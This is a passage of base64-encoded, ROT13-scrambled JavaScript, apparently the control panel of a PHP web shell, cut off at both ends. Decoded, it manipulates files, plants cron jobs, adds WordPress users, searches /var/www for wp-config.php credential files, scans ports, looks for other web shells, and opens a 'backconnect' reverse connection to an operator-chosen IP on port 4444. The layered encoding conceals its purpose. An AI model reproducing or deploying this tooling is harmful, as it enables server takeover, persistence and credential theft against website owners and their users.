TogJ0NCRkcnLA0KICAgICAgICB1cm5xcmVmOiB7DQogICAgICAgICAgICAnUGJhZ3JhZy1HbGNyJzogJ25jY3l2cG5ndmJhL2stampqLXNiZXotaGV5cmFwYnFycScsDQogICAgICAgIH0sDQogICAgICAgIG9icWw6IGBud25rPWdlaHImbnBndmJhPWZuaXJfc3Z5cl9wYmFncmFnJnN2eXJjbmd1PSR7cmFwYnFySEVWUGJ6Y2JhcmFnKHN2eXJjbmd1KX0mcGJhZ3JhZz0ke3JhcGJxckhFVlBiemNiYXJhZyhwYmFncmFnKX1gDQogICAgfSkNCiAgICAuZ3VyYShlcmZjYmFmciA9PiBlcmZjYmFmci53ZmJhKCkpDQogICAgLmd1cmEocW5nbiA9PiB7DQogICAgICAgIHZzIChxbmduLmZocHByZmYpIHsNCiAgICAgICAgICAgIG55cmVnKCdTdnlyIGZuaXJxIGZocHByZmZzaHl5bCEnKTsNCiAgICAgICAgICAgIHB5YmZyWmJxbnkoJ3JxdmdaYnFueScpOw0KICAgICAgICAgICAgLy8gRXJzZXJmdSBndXIgY250ciBnYiBmdWJqIGhjcW5ncnEgc3Z5ciB5dmZnDQogICAgICAgICAgICBmcmdHdnpyYmhnKCgpID0+IHsNCiAgICAgICAgICAgICAgICBqdmFxYmoueWJwbmd2YmEuZXJ5Ym5xKCk7DQogICAgICAgICAgICB9LCA1MDApOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgbnlyZWcoJ1JlZWJlIGZuaXZhdCBzdnlyOiAnICsgcW5nbi5yZWViZSk7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIG55cmVnKCdSZWViZSBmbml2YXQgc3Z5cjogJyArIHJlZWJlKTsNCiAgICB9KTsNCn0NCg0Kc2hhcGd2YmEgcHV6YnFTdnlyKHN2eXJjbmd1LCBwaGVlcmFnQ3Jleikgew0KICAgIGluZSBhcmpDcmV6ID0gY2ViemNnKCdQdW5hdHIgY3JlenZmZnZiYWYgc2JlOlxhJyArIHN2eXJjbmd1ICsgJ1xhXGFQaGVlcmFnOiAnICsgcGhlZXJhZ0NyZXogKyAnXGFBcmogKHIudC4sIDc1NSk6JywgcGhlZXJhZ0NyZXopOw0KICAgIHZzIChhcmpDcmV6ICE9PSBhaHl5ICYmIGFyakNyZXogIT09ICcnKSB7DQogICAgICAgIGp2YXFiai55YnBuZ3ZiYS51ZXJzID0gJz9ucGd2YmE9cHV6YnEmc3Z5cj0nICsgcmFwYnFySEVWUGJ6Y2JhcmFnKHN2eXJjbmd1KSArICcmY3Jlej0nICsgYXJqQ3JleiArICcmcXZlPScgKyByYXBicXJIRVZQYnpjYmFyYWcoJzw/Y3VjIHJwdWIgJHBoZWVyYWdfcXZlOyA/PicpOw0KICAgIH0NCn0NCg0Kc2hhcGd2YmEgZXJhbnpyU3Z5cihzdnlyY25ndSkgew0KICAgIGluZSBhcmpBbnpyID0gY2ViemNnKCdFcmFuenIgc3Z5cjpcYScgKyBzdnlyY25ndSArICdcYVxhQXJqIGFuenI6Jywgc3Z5cmNuZ3UuZmN5dmcoJy8nKS5jYmMoKSk7DQogICAgdnMgKGFyakFuenIgIT09IGFoeXkgJiYgYXJqQW56ciAhPT0gJycpIHsNCiAgICAgICAgaW5lIHNiZXogPSBxYnBoenJhZy5wZXJuZ3JSeXJ6cmFnKCdzYmV6Jyk7DQogICAgICAgIHNiZXouenJndWJxID0gJ2NiZmcnOw0KICAgICAgICBzYmV6LnZhYXJlVUdaWSA9ICc8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJucGd2YmEiIGlueWhyPSJlcmFuenIiPicgKw0KICAgICAgICAgICAgICAgICAgICAgICAgICc8dmFjaGcgZ2xjcj0idXZxcXJhIiBhbnpyPSJieXFhbnpyIiBpbnlocj0iJyArIHN2eXJjbmd1ICsgJyI+JyArDQogICAgICAgICAgICAgICAgICAgICAgICAgJzx2YWNoZyBnbGNyPSJ1dnFxcmEiIGFuenI9ImFyamFuenIiIGlueWhyPSInICsgc3Z5cmNuZ3UuZXJjeW5wcihzdnlyY25ndS5mY3l2ZygnLycpLmNiYygpLCBhcmpBbnpyKSArICciPic7DQogICAgICAgIHFicGh6cmFnLm9icWwubmNjcmFxUHV2eXEoc2Jleik7DQogICAgICAgIHNiZXouZmhvenZnKCk7DQogICAgfQ0KfQ0KDQpzaGFwZ3ZiYSBxcnlyZ3JTdnlyKHN2eXJjbmd1KSB7DQogICAgdnMgKHBiYXN2ZXooJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3I6XGEnICsgc3Z5cmNuZ3UgKyAnPycpKSB7DQogICAgICAgIGp2YXFiai55YnBuZ3ZiYS51ZXJzID0gJz9ucGd2YmE9cXJ5cmdyJnN2eXI9JyArIHJhcGJxckhFVlBiemNiYXJhZyhzdnlyY25ndSkgKyAnJnF2ZT0nICsgcmFwYnFySEVWUGJ6Y2JhcmFnKCc8P2N1YyBycHViICRwaGVlcmFnX3F2ZTsgPz4nKTsNCiAgICB9DQp9DQoNCi8vIFBlYmFnbm8gc2hhcGd2YmFmDQpzaGFwZ3ZiYSB5Ym5xUGViYWdubygpIHsNCiAgICBzcmdwdSgnJywgew0KICAgICAgICB6cmd1YnE6ICdDQkZHJywNCiAgICAgICAgdXJucXJlZjogew0KICAgICAgICAgICAgJ1BiYWdyYWctR2xjcic6ICduY2N5dnBuZ3ZiYS9rLWpqai1zYmV6LWhleXJhcGJxcnEnLA0KICAgICAgICB9LA0KICAgICAgICBvYnFsOiAnbnduaz1nZWhyJm5wZ3ZiYT1pdnJqX3BlYmFnbm8nDQogICAgfSkNCiAgICAuZ3VyYShlcmZjYmFmciA9PiBlcmZjYmFmci53ZmJhKCkpDQogICAgLmd1cmEocW5nbiA9PiB7DQogICAgICAgIHBiYWZnIGJoZ2NoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdwZWJhZ25vQmhnY2hnJyk7DQogICAgICAgIHBiYWZnIGdya2duZXJuID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3BlYmFnbm9QYmFncmFnJyk7DQogICAgICAgIA0KICAgICAgICB2cyAocW5nbi5maHBwcmZmKSB7DQogICAgICAgICAgICBiaGdjaGcuZ3JrZ1BiYWdyYWcgPSBxbmduLmJoZ2NoZzsNCiAgICAgICAgICAgIGdya2duZXJuLmlueWhyID0gcW5nbi5iaGdjaGc7DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBiaGdjaGcuZ3JrZ1BiYWdyYWcgPSBxbmduLmJoZ2NoZzsNCiAgICAgICAgICAgIGdya2duZXJuLmlueWhyID0gcW5nbi5iaGdjaGc7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdwZWJhZ25vQmhnY2hnJykuZ3JrZ1BiYWdyYWcgPSAnUmVlYmUgeWJucXZhdCBwZWJhZ25vOiAnICsgcmVlYmU7DQogICAgfSk7DQp9DQoNCnNoYXBndmJhIGZuaXJQZWJhZ25vKCkgew0KICAgIHBiYWZnIHBiYWdyYWcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncGViYWdub1BiYWdyYWcnKS5pbnlocjsNCiAgICANCiAgICB2cyAoIXBiYXN2ZXooJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBoY3FuZ3IgcGViYWdubz8nKSkgew0KICAgICAgICBlcmdoZWE7DQogICAgfQ0KICAgIA0KICAgIHNyZ3B1KCcnLCB7DQogICAgICAgIHpyZ3VicTogJ0NCRkcnLA0KICAgICAgICB1cm5xcmVmOiB7DQogICAgICAgICAgICAnUGJhZ3JhZy1HbGNyJzogJ25jY3l2cG5ndmJhL2stampqLXNiZXotaGV5cmFwYnFycScsDQogICAgICAgIH0sDQogICAgICAgIG9icWw6IGBud25rPWdlaHImbnBndmJhPWZuaXJfcGViYWdubyZwZWJhZ25vX3BiYWdyYWc9JHtyYXBicXJIRVZQYnpjYmFyYWcocGJhZ3JhZyl9YA0KICAgIH0pDQogICAgLmd1cmEoZXJmY2JhZnIgPT4gZXJmY2JhZnIud2ZiYSgpKQ0KICAgIC5ndXJhKHFuZ24gPT4gew0KICAgICAgICBwYmFmZyBiaGdjaGcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgncGViYWdub0JoZ2NoZycpOw0KICAgICAgICB2cyAocW5nbi5maHBwcmZmKSB7DQogICAgICAgICAgICBiaGdjaGcuZ3JrZ1BiYWdyYWcgPSBxbmduLmJoZ2NoZzsNCiAgICAgICAgICAgIG55cmVnKCdQZWJhZ25vIGhjcW5ncnEgZmhwcHJmZnNoeXlsIScpOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgYmhnY2hnLmdya2dQYmFncmFnID0gcW5nbi5iaGdjaGc7DQogICAgICAgICAgICBueXJlZygnUmVlYmUgaGNxbmd2YXQgcGViYWdubyEnKTsNCiAgICAgICAgfQ0KICAgIH0pDQogICAgLnBuZ3B1KHJlZWJlID0+IHsNCiAgICAgICAgbnlyZWcoJ1JlZWJlIGZuaXZhdCBwZWJhZ25vOiAnICsgcmVlYmUpOw0KICAgIH0pOw0KfQ0KDQpzaGFwZ3ZiYSBucXFQZWJhZ25vUmtuemN5cigpIHsNCiAgICBpbmUgcmtuemN5ciA9ICIjIFBlYmFnbm8gUmtuemN5cmZcYVxhIiArDQogICAgICAgICAgICAgICAgICIjIEVoYSByaXJlbCB6dmFoZ3JcYSIgKw0KICAgICAgICAgICAgICAgICAiKiAqICogKiAqIC9jbmd1L2diL3BienpuYXFcYVxhIiArDQogICAgICAgICAgICAgICAgICIjIEVoYSByaXJlbCBxbmwgbmcgMjozMCBOWlxhIiArDQogICAgICAgICAgICAgICAgICIzMCAyICogKiAqIC9jbmd1L2diL3BienpuYXFcYVxhIiArDQogICAgICAgICAgICAgICAgICIjIEVoYSByaXJlbCBaYmFxbmwgbmcgNSBDWlxhIiArDQogICAgICAgICAgICAgICAgICIwIDE3ICogKiAxIC9jbmd1L2diL3BienpuYXFcYVxhIiArDQogICAgICAgICAgICAgICAgICIjIEVoYSByaXJlbCAxMCB6dmFoZ3JmXGEiICsNCiAgICAgICAgICAgICAgICAgIiovMTAgKiAqICogKiAvY25ndS9nYi9wYnp6bmFxXGFcYSIgKw0KICAgICAgICAgICAgICAgICAiIyBFaGEgYmEgZXJvYmJnXGEiICsNCiAgICAgICAgICAgICAgICAgIkBlcm9iYmcgL2NuZ3UvZ2IvcGJ6em5hcSI7DQogICAgDQogICAgaW5lIGdya2duZXJuID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3BlYmFnbm9QYmFncmFnJyk7DQogICAgZ3JrZ25lcm4uaW55aHIgPSBncmtnbmVybi5pbnlociArICdcYVxhJyArIHJrbnpjeXI7DQp9DQoNCnNoYXBndmJhIHB5cm5lUGViYWdubygpIHsNCiAgICB2cyAocGJhc3ZleignTmVyIGxiaCBmaGVyIGxiaCBqbmFnIGdiIHB5cm5lIGd1ciBwZWJhZ25vIHBiYWdyYWc/JykpIHsNCiAgICAgICAgcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ3BlYmFnbm9QYmFncmFnJykuaW55aHIgPSAnJzsNCiAgICB9DQp9DQoNCi8vIEpiZXFDZXJmZiBIZnJlIHNoYXBndmJhZg0Kc2hhcGd2YmEgbnFxSmNIZnJlKCkgew0KICAgIHBiYWZnIHNiZXogPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnamNIZnJlU2JleicpOw0KICAgIHBiYWZnIHNiZXpRbmduID0gYXJqIFNiZXpRbmduKHNiZXopOw0KICAgIA0KICAgIHBiYWZnIHFuZ24gPSB7DQogICAgICAgIGhmcmVhbnpyOiBzYmV6UW5nbi50cmcoJ2hmcmVhbnpyJyksDQogICAgICAgIGNuZmZqYmVxOiBzYmV6UW5nbi50cmcoJ2NuZmZqYmVxJyksDQogICAgICAgIHJ6bnZ5OiBzYmV6UW5nbi50cmcoJ3J6bnZ5JyksDQogICAgICAgIGVieXI6IHNiZXpRbmduLnRyZygnZWJ5cicpLA0KICAgICAgICBqY19wYmFzdnRfY25ndTogc2JlelFuZ24udHJnKCdqY19wYmFzdnRfY25ndScpDQogICAgfTsNCiAgICANCiAgICB2cyAoIXFuZ24uaGZyZWFuenIgfHwgIXFuZ24uY25mZmpiZXEgfHwgIXFuZ24ucnpudnkgfHwgIXFuZ24uamNfcGJhc3Z0X2NuZ3UpIHsNCiAgICAgICAgbnlyZWcoJ055eSBzdnJ5cWYgbmVyIGVyZGh2ZXJxJyk7DQogICAgICAgIGVyZ2hlYTsNCiAgICB9DQogICAgDQogICAgc3JncHUoJycsIHsNCiAgICAgICAgenJndWJxOiAnQ0JGRycsDQogICAgICAgIHVybnFyZWY6IHsNCiAgICAgICAgICAgICdQYmFncmFnLUdsY3InOiAnbmNjeXZwbmd2YmEvay1qamotc2Jlei1oZXlyYXBicXJxJywNCiAgICAgICAgfSwNCiAgICAgICAgb2JxbDogYG53bms9Z2VociZucGd2YmE9bnFxX2pjX2hmcmUmaGZyZWFuenI9JHtyYXBicXJIRVZQYnpjYmFyYWcocW5nbi5oZnJlYW56cil9JmNuZmZqYmVxPSR7cmFwYnFySEVWUGJ6Y2JhcmFnKHFuZ24uY25mZmpiZXEpfSZyem52eT0ke3JhcGJxckhFVlBiemNiYXJhZyhxbmduLnJ6bnZ5KX0mZWJ5cj0ke3JhcGJxckhFVlBiemNiYXJhZyhxbmduLmVieXIpfSZqY19wYmFzdnRfY25ndT0ke3JhcGJxckhFVlBiemNiYXJhZyhxbmduLmpjX3BiYXN2dF9jbmd1KX1gDQogICAgfSkNCiAgICAuZ3VyYShlcmZjYmFmciA9PiBlcmZjYmFmci53ZmJhKCkpDQogICAgLmd1cmEocW5nbiA9PiB7DQogICAgICAgIHBiYWZnIGJoZ2NoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdqY0hmcmVCaGdjaGcnKTsNCiAgICAgICAgdnMgKHFuZ24uZmhwcHJmZikgew0KICAgICAgICAgICAgYmhnY2hnLnZhYXJlVUdaWSA9IGA8cXZpIGZnbHlyPSJwYnliZTogIzI4bjc0NTsiPiR7cW5nbi5iaGdjaGd9PC9xdmk+YDsNCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIGJoZ2NoZy52YWFyZVVHWlkgPSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICNxcDM1NDU7Ij4ke3FuZ24uYmhnY2hnfTwvcXZpPmA7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdqY0hmcmVCaGdjaGcnKS52YWFyZVVHWlkgPSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICNxcDM1NDU7Ij5SZWViZTogJHtyZWViZX08L3F2aT5gOw0KICAgIH0pOw0KfQ0KDQpzaGFwZ3ZiYSBzdmFxSmNQYmFzdnQoKSB7DQogICAgcmtycGhnclBienpuYXEoJ3N2YXEgL2luZS9qamogLWFuenIgImpjLXBiYXN2dC5jdWMiIDI+L3FyaS9haHl5IHwgdXJucSAtMTAnKTsNCiAgICBmanZncHVHbm8oJ2dyZXp2YW55Jyk7DQp9DQoNCi8vIENiZWcgRnBuYWFyZSBzaGFwZ3ZiYWYNCnNoYXBndmJhIGZwbmFDYmVnZigpIHsNCiAgICBwYmFmZyB1YmZnID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2ZwbmFVYmZnJykuaW55aHIgfHwgJ3licG55dWJmZyc7DQogICAgcGJhZmcgY2JlZ2YgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnZnBuYUNiZWdmJykuaW55aHIgfHwgJzIxLDIyLDIzLDI1LDUzLDgwLDExMCw0NDMsMzMwNiwzMzg5LDU0MzInOw0KICAgIA0KICAgIHBiYWZnIGJoZ2NoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdjYmVnRnBuYWFyZUJoZ2NoZycpOw0KICAgIGJoZ2NoZy52YWFyZVVHWlkgPSAnRnBuYWF2YXQgY2JlZ2YuLi4nOw0KICAgIA0KICAgIHNyZ3B1KCcnLCB7DQogICAgICAgIHpyZ3VicTogJ0NCRkcnLA0KICAgICAgICB1cm5xcmVmOiB7DQogICAgICAgICAgICAnUGJhZ3JhZy1HbGNyJzogJ25jY3l2cG5ndmJhL2stampqLXNiZXotaGV5cmFwYnFycScsDQogICAgICAgIH0sDQogICAgICAgIG9icWw6IGBud25rPWdlaHImbnBndmJhPWZwbmFfY2JlZ2YmdWJmZz0ke3JhcGJxckhFVlBiemNiYXJhZyh1YmZnKX0mY2JlZ2Y9JHtyYXBicXJIRVZQYnpjYmFyYWcoY2JlZ2YpfWANCiAgICB9KQ0KICAgIC5ndXJhKGVyZmNiYWZyID0+IGVyZmNiYWZyLndmYmEoKSkNCiAgICAuZ3VyYShxbmduID0+IHsNCiAgICAgICAgdnMgKHFuZ24uZmhwcHJmZikgew0KICAgICAgICAgICAgYmhnY2hnLnZhYXJlVUdaWSA9IHFuZ24uYmhnY2hnLmZjeXZnKCdcYScpLnpuYyh5dmFyID0+IHsNCiAgICAgICAgICAgICAgICB2cyAoeXZhci52YXB5aHFyZignQkNSQScpKSB7DQogICAgICAgICAgICAgICAgICAgIGVyZ2hlYSBgPHF2aSBmZ2x5cj0icGJ5YmU6ICMyOG43NDU7Ij4ke3l2YXJ9PC9xdmk+YDsNCiAgICAgICAgICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgICAgICAgICBlcmdoZWEgYDxxdmkgZmdseXI9InBieWJlOiAjNnA3NTdxOyI+JHt5dmFyfTwvcXZpPmA7DQogICAgICAgICAgICAgICAgfQ0KICAgICAgICAgICAgfSkud2J2YSgnJyk7DQogICAgICAgIH0gcnlmciB7DQogICAgICAgICAgICBiaGdjaGcudmFhcmVVR1pZID0gYDxxdmkgZmdseXI9InBieWJlOiAjcXAzNTQ1OyI+JHtxbmduLmJoZ2NoZ308L3F2aT5gOw0KICAgICAgICB9DQogICAgfSkNCiAgICAucG5ncHUocmVlYmUgPT4gew0KICAgICAgICBiaGdjaGcudmFhcmVVR1pZID0gYDxxdmkgZmdseXI9InBieWJlOiAjcXAzNTQ1OyI+UmVlYmU6ICR7cmVlYmV9PC9xdmk+YDsNCiAgICB9KTsNCn0NCg0Kc2hhcGd2YmEgZGh2cHhGcG5hKCkgew0KICAgIHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdmcG5hQ2JlZ2YnKS5pbnlociA9ICcyMSwyMiw4MCw0NDMsMzMwNiwzMzg5JzsNCiAgICBmcG5hQ2JlZ2YoKTsNCn0NCg0KLy8gSnJvZnVyeXkgRnBuYWFyZSBzaGFwZ3ZiYWYNCnNoYXBndmJhIGZwbmFKcm9mdXJ5eWYoKSB7DQogICAgcGJhZmcgY25ndSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdmcG5hQ25ndScpLmlueWhyIHx8ICcvaW5lL2pqaic7DQogICAgDQogICAgcGJhZmcgYmhnY2hnID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ2pyb2Z1cnl5RnBuYWFyZUJoZ2NoZycpOw0KICAgIGJoZ2NoZy52YWFyZVVHWlkgPSAnRnBuYWF2YXQgc2JlIGpyb2Z1cnl5Zi4uLic7DQogICAgDQogICAgc3JncHUoJycsIHsNCiAgICAgICAgenJndWJxOiAnQ0JGRycsDQogICAgICAgIHVybnFyZWY6IHsNCiAgICAgICAgICAgICdQYmFncmFnLUdsY3InOiAnbmNjeXZwbmd2YmEvay1qamotc2Jlei1oZXlyYXBicXJxJywNCiAgICAgICAgfSwNCiAgICAgICAgb2JxbDogYG53bms9Z2VociZucGd2YmE9ZnBuYV9qcm9mdXJ5eWYmZnBuYV9jbmd1PSR7cmFwYnFySEVWUGJ6Y2JhcmFnKGNuZ3UpfWANCiAgICB9KQ0KICAgIC5ndXJhKGVyZmNiYWZyID0+IGVyZmNiYWZyLndmYmEoKSkNCiAgICAuZ3VyYShxbmduID0+IHsNCiAgICAgICAgcGJhZmcgZXJmaHlnZlF2aSA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdqcm9mdXJ5eUVyZmh5Z2YnKTsNCiAgICAgICAgZXJmaHlnZlF2aS52YWFyZVVHWlkgPSAnJzsNCiAgICAgICAgDQogICAgICAgIHZzIChxbmduLmZocHByZmYgJiYgcW5nbi5zdnlyZiAmJiBxbmduLnN2eXJmLnlyYXRndSA+IDApIHsNCiAgICAgICAgICAgIGJoZ2NoZy52YWFyZVVHWlkgPSBgU2JoYXEgJHtxbmduLnN2eXJmLnlyYXRndX0gZmhmY3ZwdmJoZiBzdnlyZmA7DQogICAgICAgICAgICANCiAgICAgICAgICAgIHFuZ24uc3Z5cmYuc2JlUm5wdShzdnlyID0+IHsNCiAgICAgICAgICAgICAgICBwYmFmZyBzdnlyUXZpID0gcWJwaHpyYWcucGVybmdyUnlyenJhZygncXZpJyk7DQogICAgICAgICAgICAgICAgc3Z5clF2aS5weW5mZkFuenIgPSAnanJvZnVyeXktdmdyeic7DQogICAgICAgICAgICAgICAgc3Z5clF2aS52YWFyZVVHWlkgPSBgDQogICAgICAgICAgICAgICAgICAgIDxmZ2ViYXQ+U3Z5cjo8L2ZnZWJhdD4gJHtzdnlyLmNuZ3V9PG9lPg0KICAgICAgICAgICAgICAgICAgICA8ZmdlYmF0PkZ2bXI6PC9mZ2ViYXQ+ICR7c3Z5ci5mdm1yfSBvbGdyZjxvZT4NCiAgICAgICAgICAgICAgICAgICAgPGZnZWJhdD5DbmdncmVhZjo8L2ZnZWJhdD4gJHtzdnlyLmNuZ2dyZWFmLndidmEoJywgJyl9PG9lPg0KICAgICAgICAgICAgICAgICAgICA8cXZpIGZnbHlyPSJ6bmV0dmEtZ2JjOiAxMGNrOyI+DQogICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIHB5bmZmPSJvZ2Egb2dhLXFuYXRyZSBvZ2EtZnoiIGJhcHl2cHg9InFyeXJnckpyb2Z1cnl5KCcke3N2eXIuY25ndS5lcmN5bnByKC8nL3QsICJcXCciKX0nKSI+UXJ5cmdyPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgICAgICA8b2hnZ2JhIHB5bmZmPSJvZ2Egb2dhLWpuZWF2YXQgb2dhLWZ6IiBiYXB5dnB4PSJpdnJqSnJvZnVyeXlQYnFyKCcke3N2eXIuY25ndS5lcmN5bnByKC8nL3QsICJcXCciKX0nKSI+SXZyaiBQYnFyPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgIGA7DQogICAgICAgICAgICAgICAgZXJmaHlnZlF2aS5uY2NyYXFQdXZ5cShzdnlyUXZpKTsNCiAgICAgICAgICAgIH0pOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgYmhnY2hnLnZhYXJlVUdaWSA9ICdBYiBqcm9mdXJ5eWYgc2JoYXEnOw0KICAgICAgICB9DQogICAgfSkNCiAgICAucG5ncHUocmVlYmUgPT4gew0KICAgICAgICBiaGdjaGcudmFhcmVVR1pZID0gYDxxdmkgZmdseXI9InBieWJlOiAjcXAzNTQ1OyI+UmVlYmU6ICR7cmVlYmV9PC9xdmk+YDsNCiAgICB9KTsNCn0NCg0Kc2hhcGd2YmEgcXJ5cmdySnJvZnVyeXkoc3Z5ckNuZ3UpIHsNCiAgICB2cyAoIXBiYXN2ZXooJ05lciBsYmggZmhlciBsYmggam5hZyBnYiBxcnlyZ3IgZ3V2ZiBzdnlyPycpKSB7DQogICAgICAgIGVyZ2hlYTsNCiAgICB9DQogICAgDQogICAgc3JncHUoJycsIHsNCiAgICAgICAgenJndWJxOiAnQ0JGRycsDQogICAgICAgIHVybnFyZWY6IHsNCiAgICAgICAgICAgICdQYmFncmFnLUdsY3InOiAnbmNjeXZwbmd2YmEvay1qamotc2Jlei1oZXlyYXBicXJxJywNCiAgICAgICAgfSwNCiAgICAgICAgb2JxbDogYG53bms9Z2VociZucGd2YmE9cXJ5cmdyX2pyb2Z1cnl5JnN2eXJfY25ndT0ke3JhcGJxckhFVlBiemNiYXJhZyhzdnlyQ25ndSl9YA0KICAgIH0pDQogICAgLmd1cmEoZXJmY2JhZnIgPT4gZXJmY2JhZnIud2ZiYSgpKQ0KICAgIC5ndXJhKHFuZ24gPT4gew0KICAgICAgICB2cyAocW5nbi5maHBwcmZmKSB7DQogICAgICAgICAgICBueXJlZygnU3Z5ciBxcnlyZ3JxIGZocHByZmZzaHl5bCcpOw0KICAgICAgICAgICAgZnBuYUpyb2Z1cnl5ZigpOyAvLyBFcnNlcmZ1IGZwbmENCiAgICAgICAgfSByeWZyIHsNCiAgICAgICAgICAgIG55cmVnKCdTbnZ5cnEgZ2IgcXJ5cmdyIHN2eXI6ICcgKyBxbmduLmJoZ2NoZyk7DQogICAgICAgIH0NCiAgICB9KQ0KICAgIC5wbmdwdShyZWViZSA9PiB7DQogICAgICAgIG55cmVnKCdSZWViZTogJyArIHJlZWJlKTsNCiAgICB9KTsNCn0NCg0Kc2hhcGd2YmEgaXZyakpyb2Z1cnl5UGJxcihzdnlyQ25ndSkgew0KICAgIHNyZ3B1KCcnLCB7DQogICAgICAgIHpyZ3VicTogJ0NCRkcnLA0KICAgICAgICB1cm5xcmVmOiB7DQogICAgICAgICAgICAnUGJhZ3JhZy1HbGNyJzogJ25jY3l2cG5ndmJhL2stampqLXNiZXotaGV5cmFwYnFycScsDQogICAgICAgIH0sDQogICAgICAgIG9icWw6IGBud25rPWdlaHImbnBndmJhPXRyZ19qcm9mdXJ5eV9wYnFyJnN2eXJfY25ndT0ke3JhcGJxckhFVlBiemNiYXJhZyhzdnlyQ25ndSl9YA0KICAgIH0pDQogICAgLmd1cmEoZXJmY2JhZnIgPT4gZXJmY2JhZnIud2ZiYSgpKQ0KICAgIC5ndXJhKHFuZ24gPT4gew0KICAgICAgICB2cyAocW5nbi5maHBwcmZmKSB7DQogICAgICAgICAgICBwYmFmZyB6YnFueSA9IHFicGh6cmFnLnBlcm5nclJ5cnpyYWcoJ3F2aScpOw0KICAgICAgICAgICAgemJxbnkucHluZmZBbnpyID0gJ3picW55JzsNCiAgICAgICAgICAgIHpicW55LmZnbHlyLnF2ZmN5bmwgPSAnb3licHgnOw0KICAgICAgICAgICAgemJxbnkudmFhcmVVR1pZID0gYA0KICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InpicW55LXBiYWdyYWciPg0KICAgICAgICAgICAgICAgICAgICA8dTM+SnJvZnVyeXkgUGJxcjogJHtzdnlyQ25ndS5mY3l2ZygnLycpLmNiYygpfTwvdTM+DQogICAgICAgICAgICAgICAgICAgIDxxdmkgcHluZmY9InBicXItY2VyaXZyaiI+JHtxbmduLnBiYWdyYWcuZXJjeW5wcigvPC90LCAnJnlnOycpLmVyY3lucHIoLz4vdCwgJyZ0ZzsnKX08L3F2aT4NCiAgICAgICAgICAgICAgICAgICAgPHF2aSBmZ2x5cj0iem5ldHZhLWdiYzogMjBjazsiPg0KICAgICAgICAgICAgICAgICAgICAgICAgPG9oZ2diYSBweW5mZj0ib2dhIG9nYS1xbmF0cmUiIGJhcHl2cHg9Imd1dmYucHliZnJmZygnLnpicW55JykuZXJ6YmlyKCkiPlB5YmZyPC9vaGdnYmE+DQogICAgICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgICAgIDwvcXZpPg0KICAgICAgICAgICAgYDsNCiAgICAgICAgICAgIHFicGh6cmFnLm9icWwubmNjcmFxUHV2eXEoemJxbnkpOw0KICAgICAgICB9IHJ5ZnIgew0KICAgICAgICAgICAgbnlyZWcoJ1JlZWJlIHlibnF2YXQgc3Z5cjogJyArIHFuZ24ucmVlYmUpOw0KICAgICAgICB9DQogICAgfSkNCiAgICAucG5ncHUocmVlYmUgPT4gew0KICAgICAgICBueXJlZygnUmVlYmU6ICcgKyByZWViZSk7DQogICAgfSk7DQp9DQoNCi8vIE9ucHhwYmFhcnBnIHNoYXBndmJhZg0Kc2hhcGd2YmEgZmduZWdPbnB4cGJhYXJwZygpIHsNCiAgICBwYmFmZyB1YmZnID0gcWJwaHpyYWcudHJnUnlyenJhZ09sVnEoJ29ucHhwYmFhcnBnVWJmZycpLmlueWhyOw0KICAgIHBiYWZnIGNiZWcgPSBxYnBoenJhZy50cmdSeXJ6cmFnT2xWcSgnb25weHBiYWFycGdDYmVnJykuaW55aHIgfHwgJzQ0NDQnOw0KICAgIA0KICAgIHZzICghdWJmZykgew0KICAgICAgICBueXJlZygnQ3lybmZyIHJhZ3JlIGxiaGUgVkMgbnFxZXJmZicpOw0KICAgICAgICBlcmdoZWE7DQogICAgfQ0KICAgIA0KICAgIHBiYWZnIGJoZ2NoZyA9IHFicGh6cmFnLnRyZ1J5cnpyYWdPbFZxKCdvbnB4cGJhYXJwZ0JoZ2NoZycpOw0KICAgIGJoZ2NoZy52YWFyZVVHWlkgPSAnRmduZWd2YXQgb25weHBiYWFycGcuLi4nOw0KICAgIA0KICAgIHNyZ3B1KCcnLCB7DQogICAgICAgIHpyZ3VicTogJ0NCRkcnLA0KICAgICAgICB1cm5xcmVmOiB7DQogICAgICAgICAgICAnUGJhZ3JhZy1HbGNyJzogJ25jY3l2cG5ndmJhL2stampqLXNiZXotaGV5cmFwYnFycScsDQogICAgICAgIH0sDQogICAgICAgIG9icWw